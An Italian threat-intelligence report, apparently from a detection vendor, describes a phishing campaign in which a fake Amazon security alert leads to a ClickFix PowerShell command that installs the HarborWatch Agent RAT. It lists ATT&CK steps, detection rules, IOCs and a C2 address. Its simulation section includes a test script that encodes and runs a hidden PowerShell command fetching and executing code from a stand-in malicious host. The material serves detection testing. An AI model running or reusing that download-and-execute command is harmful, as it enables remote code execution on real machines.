Da falso avviso di sicurezza Amazon a consegna dell’agente HarborWatch
Detection stack
- AIDR
- Alert
- ETL
- Query
Sintesi
Il rapporto dettaglia una campagna di phishing costruita attorno a un falso avviso di sicurezza Amazon che inganna le vittime inducendole a eseguire un comando PowerShell tramite un prompt in stile ClickFix. Quel comando scarica un eseguibile malevolo chiamato mysql.exe, che è in realtà l’HarborWatch Agent RAT. Una volta avviato, il malware si connette a un server di comando e controllo e trasmette informazioni sull’host. L’operazione si basa su domini simili e un metodo di auto-infezione guidato dall’utente per evitare la rilevazione tradizionale basata su allegati.
Indagine
Cofense ha tracciato la campagna dall’indirizzo del mittente falsificato attraverso i domini maligni, il downloader PowerShell e il payload finale del malware. L’analisi dinamica di mysql.exe ha rivelato comunicazioni in uscita con un server di comando e controllo a 185.193.127.44 e l’uso dei percorsi API /api/agent/tasks/ and /api/heartbeat. L’analisi della memoria ha anche esposto l’identificatore HarborWatchAgent/c-1.1.1.
Mitigazione
Le organizzazioni dovrebbero bloccare i domini e gli indirizzi IP maligni identificati, limitare l’esecuzione di comandi codificati in PowerShell, monitorare l’inaspettata creazione di mysql.exe nel Temp directory, e rafforzare le difese email contro l’impersonificazione di marchi e gli avvisi falsificati.
Risposta
Se viene rilevata questa attività, isolare l’endpoint colpito, terminare il processo dell’HarborWatch Agent, raccogliere prove forensi e implementare il blocco basato su indicatori in tutto l’ambiente. Gli utenti dovrebbero anche essere avvisati riguardo al falso avviso di sicurezza Amazon e le protezioni contro il phishing dovrebbero essere aggiornate per intercettare esche simili.
"graph TB %% Class definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#ffcc99 classDef file fill:#cccccc %% Nodes initial_access_phishing["<b>Azione</b> – <b>T1566.002 Spearphishing Link</b><br/>L’email sembra provenire da Amazon e contiene un link di verifica malevolo."] class initial_access_phishing action user_execution_malicious_link["<b>Azione</b> – <b>T1204.001 Esecuzione Utente: Link Malevolo</b><br/>La vittima clicca sul link e viene portata a una pagina che le istruisce di copiare e incollare un comando PowerShell."] class user_execution_malicious_link action user_execution_copy_paste["<b>Azione</b> – <b>T1204.004 Esecuzione Utente: Copia e Incolla</b><br/>Il comando PowerShell copiato è eseguito localmente."] class user_execution_copy_paste action obfuscation_obfuscated_files["<b>Azione</b> – <b>T1027 File o Informazioni offuscate</b> & <b>T1027.018 Unicode Invisibile</b><br/>Il comando PowerShell è codificato in base64 e contiene caratteri Unicode nascosti."] class obfuscation_obfuscated_files action deobfuscate_decode["<b>Azione</b> – <b>T1140 Deocfuscatedecodificare File o Informazioni</b><br/>Il comando decodifica il payload al runtime."] class deobfuscate_decode action hide_artifact_hidden_window["<b>Azione</b> – <b>T1564.003 Finestra Nascosta</b><br/>PowerShell gira con -w nascosto per evitare UI."] class hide_artifact_hidden_window action ingress_tool_transfer["<b>Azione</b> – <b>T1105 Trasferimento Strumento Ingress</b><br/>Il script scarica un secondo script PowerShell (code.txt) da un server remoto."] class ingress_tool_transfer action server_software_component["<b>Azione</b> – <b>T1505 Componente Software del Server</b><br/>Il secondo script recupera ed esegue un payload (mysql.exe) posizionato in %TEMP%."] class server_software_component action remote_access_tool["<b>Malware</b> – <b>T1219 Strumento di Accesso Remoto</b><br/>Il RAT personalizzato chiamato HarborWatch Agent è eseguito."] class remote_access_tool malware discovery_security_software["<b>Azione</b> – <b>T1518.001 Scoperta Software di Sicurezza</b><br/>Il RAT raccoglie informazioni sui software di sicurezza."] class discovery_security_software action discovery_hardware["<b>Azione</b> – <b>T1592.001 Scoperta dell’Hardware</b><br/>Il RAT raccoglie dettagli hardware dell’host."] class discovery_hardware action discovery_network_appliances["<b>Azione</b> – <b>T1590.006 Dispositivo di Sicurezza di Rete</b><br/>Il RAT enumera i dispositivi di sicurezza di rete."] class discovery_network_appliances action discovery_log_enumeration["<b>Azione</b> – <b>T1654 Enumerazione dei Log</b><br/>Il RAT enumera i log degli eventi."] class discovery_log_enumeration action discovery_threat_vendor["<b>Azione</b> – <b>T1681 Ricerca Dati Fornitori da Minaccia</b><br/>Il RAT ricerca intelligence delle minacce."] class discovery_threat_vendor action c2_bidirectional["<b>Azione</b> – <b>T1102.002 Comunicazione Bidirezionale Servizio Web</b><br/>I dati sono inviati al server C2 tramite HTTPS."] class c2_bidirectional action c2_oneway["<b>Azione</b> – <b>T1102.003 Comunicazione Unidirezionale Servizio Web</b><br/>Istruzioni aggiuntive recuperate tramite HTTPS."] class c2_oneway action c2_dynamic_resolution["<b>Azione</b> – <b>T1568 Risoluzione Dinamica</b><br/>Il RAT risolve i domini C2 a runtime."] class c2_dynamic_resolution action c2_dga["<b>Azione</b> – <b>T1568.002 Algoritmi di Generazione Domini</b><br/>Lista di domini generata algoritmicamente."] class c2_dga action c2_dead_drop_resolver["<b>Azione</b> – <b>T1102.001 Risolutore Dead Drop</b><br/>Recupera istruzioni C2 extra da sito dead-drop."] class c2_dead_drop_resolver action exfiltration_c2["<b>Azione</b> – <b>T1041 Esfiltrazione Attraverso il Canale C2</b><br/>Informazioni raccolte esfiltrate attraverso lo stesso canale web."] class exfiltration_c2 action exfiltration_alternative["<b>Azione</b> – <b>T1048 Esfiltrazione Tramite Protocollo Alternativo</b><br/>Protocollo alternativo usato per l’esfiltrazione di dati."] class exfiltration_alternative action discovery_cloud_dashboard["<b>Azione</b> – <b>T1538 Dashboard di Servizio Cloud</b><br/>Dati visualizzati su pannello web in lingua cinese (Harbor Sentinel)."] class discovery_cloud_dashboard action %% Connections initial_access_phishing –>|porta a| user_execution_malicious_link user_execution_malicious_link –>|porta a| user_execution_copy_paste user_execution_copy_paste –>|in attesa a| obfuscation_obfuscated_files obfuscation_obfuscated_files –>|decodificato da| deobfuscate_decode deobfuscate_decode –>|esegue| hide_artifact_hidden_window hide_artifact_hidden_window –>|scarica| ingress_tool_transfer ingress_tool_transfer –>|scarica| server_software_component server_software_component –>|esegue| remote_access_tool remote_access_tool –>|esegue| discovery_security_software remote_access_tool –>|esegue| discovery_hardware remote_access_tool –>|esegue| discovery_network_appliances remote_access_tool –>|esegue| discovery_log_enumeration remote_access_tool –>|esegue| discovery_threat_vendor remote_access_tool –>|comunica tramite| c2_bidirectional remote_access_tool –>|riceve tramite| c2_oneway c2_bidirectional –>|usa| c2_dynamic_resolution c2_dynamic_resolution –>|usa| c2_dga c2_oneway –>|usa| c2_dead_drop_resolver remote_access_tool –>|esfiltra tramite| exfiltration_c2 exfiltration_c2 –>|può anche usare| exfiltration_alternative remote_access_tool –>|rende conto a| discovery_cloud_dashboard "
Flow di Attacco
Rilevamenti
Possibili Modelli di Attacco ClickFix Nella Riga di Comando (via cmdline)
Visualizza
La Possibilità di Esecuzione Attraverso Righe di Comando PowerShell Nascoste (via cmdline)
Visualizza
Stringhe PowerShell Sospette (via cmdline)
Visualizza
Stringhe PowerShell Sospette (via powershell)
Visualizza
Chiamata di Metodi .NET Sospetti da PowerShell (via powershell)
Visualizza
IOC (HashSha256) per rilevare: Da Falso Avviso di Sicurezza Amazon a Consegna ClickFix del RAT Personalizzato HarborWatch Agent
Visualizza
IOC (HashMd5) per rilevare: Da Falso Avviso di Sicurezza Amazon a Consegna ClickFix del RAT Personalizzato HarborWatch Agent
Visualizza
IOC (SourceIP) per rilevare: Da Falso Avviso di Sicurezza Amazon a Consegna ClickFix del RAT Personalizzato HarborWatch Agent
Visualizza
IOC (DestinationIP) per rilevare: Da Falso Avviso di Sicurezza Amazon a Consegna ClickFix del RAT Personalizzato HarborWatch Agent
Visualizza
Esecuzione di mysql.exe con Argomento Password Specifico [Creazione Processo Windows]
Visualizza
Rilevamento Comunicazione C2 HarborWatch Agent [Connessione di Rete Windows]
Visualizza
Rileva Esecuzione di PowerShell con Offuscamento e Finestra Nascosta [PowerShell di Windows]
Visualizza
Esecuzione di Simulazioni
Prerequisito: Il Controllo Pre-volo Telemetria & Base deve essere superato.
Motivo: Questa sezione delinea l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa dell’Attacco & Comandi:
Un attaccante ha ottenuto una base sull’endpoint e desidera scaricare ed eseguire un payload malevolo rimanendo nascosto all’utente. Creano un one-liner PowerShell che:- Esegue senza profilo (
-nop) per evitare di caricare i profili utente. - Avvia in una finestra nascosta (
-w nascosto) per prevenire l’esposizione dell’interfaccia utente (T1564.003). - Incorpora uno script shell inverso codificato in base64 per eludere il rilevamento semplice di stringhe (T1027.010).
- Esegue lo script decodificato tramite
-EncodedCommand, sfruttando PowerShell come binario firmato (T1218).
La riga di comando creata corrisponde ai filtri
CommandLine|containsdella regola Sigma, generando così l’allerta attesa. - Esegue senza profilo (
-
Script di Test di Regressione:
# ------------------------------------------------- # Esecuzione PowerShell malevola che dovrebbe attivare la regola Sigma # ------------------------------------------------- $payload = 'IEX (New-Object Net.WebClient).DownloadString("http://malicious.example.com/payload.ps1")' $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) $cmd = "-nop -w hidden -EncodedCommand $b64" Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList $cmd ` -WindowStyle Hidden # End of script -
Comandi di Pulizia:
# Termina eventuali processi PowerShell malevoli rimanenti Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force # Rimuovi eventuali file temporanei (nessuno creato in questo caso) # Elimina la variabile payload base64 dalla sessione (opzionale) Remove-Variable -Name b64 -ErrorAction SilentlyContinue